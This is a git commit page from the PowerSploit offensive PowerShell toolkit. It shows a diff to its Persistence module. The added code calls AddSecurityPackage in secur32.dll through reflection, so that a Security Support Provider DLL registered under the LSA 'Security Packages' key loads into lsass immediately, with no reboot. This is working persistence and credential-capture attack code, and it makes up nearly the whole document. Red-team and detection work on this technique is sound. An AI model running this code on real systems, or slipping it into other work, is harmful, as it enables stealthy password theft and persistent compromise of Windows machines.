aboutsummaryrefslogtreecommitdiff
path: root/Persistence
diff options
context:
space:
mode:
authormattifestation <mattgraeber@gmail.com>2014-10-01 23:17:50 -0400
committermattifestation <mattgraeber@gmail.com>2014-10-01 23:17:56 -0400
commit97034006f63f2691cde8ddb1055b1253c6f93cce (patch)
treef1f5120bad7f59c45885c554fa8d3354c1bc140d /Persistence
parent4daac216c881d6e6750a2b3daadf77266ab1eb83 (diff)
downloadPowerSploit-97034006f63f2691cde8ddb1055b1253c6f93cce.tar.gz
PowerSploit-97034006f63f2691cde8ddb1055b1253c6f93cce.zip
Loading of an SSP no longer requires a reboot.
Diffstat (limited to 'Persistence')
-rw-r--r--Persistence/Persistence.psm142
1 files changed, 41 insertions, 1 deletions
diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1
index 3666c59..344c13d 100644
--- a/Persistence/Persistence.psm1
+++ b/Persistence/Persistence.psm1
@@ -857,7 +857,47 @@ into lsass, the dll must export SpLsaModeInitialize.
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages
- Write-Verbose 'Installation complete! Reboot for changes to take effect.'
+ $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False)
+
+ $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class')
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage',
+ 'secur32.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([String], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ $Secur32 = $TypeBuilder.CreateType()
+
+ if ([IntPtr]::Size -eq 4) {
+ $StructSize = 20
+ } else {
+ $StructSize = 24
+ }
+
+ $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize)
+ [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize)
+
+ $RuntimeSuccess = $True
+
+ try {
+ $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr)
+ } catch {
+ $HResult = $Error[0].Exception.InnerException.HResult
+ Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))"
+ Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)"
+ $RuntimeSuccess = $False
+ }
+
+ if ($RuntimeSuccess) {
+ Write-Verbose 'Installation and loading complete!'
+ } else {
+ Write-Verbose 'Installation complete! Reboot for changes to take effect.'
+ }
}
function Get-SecurityPackages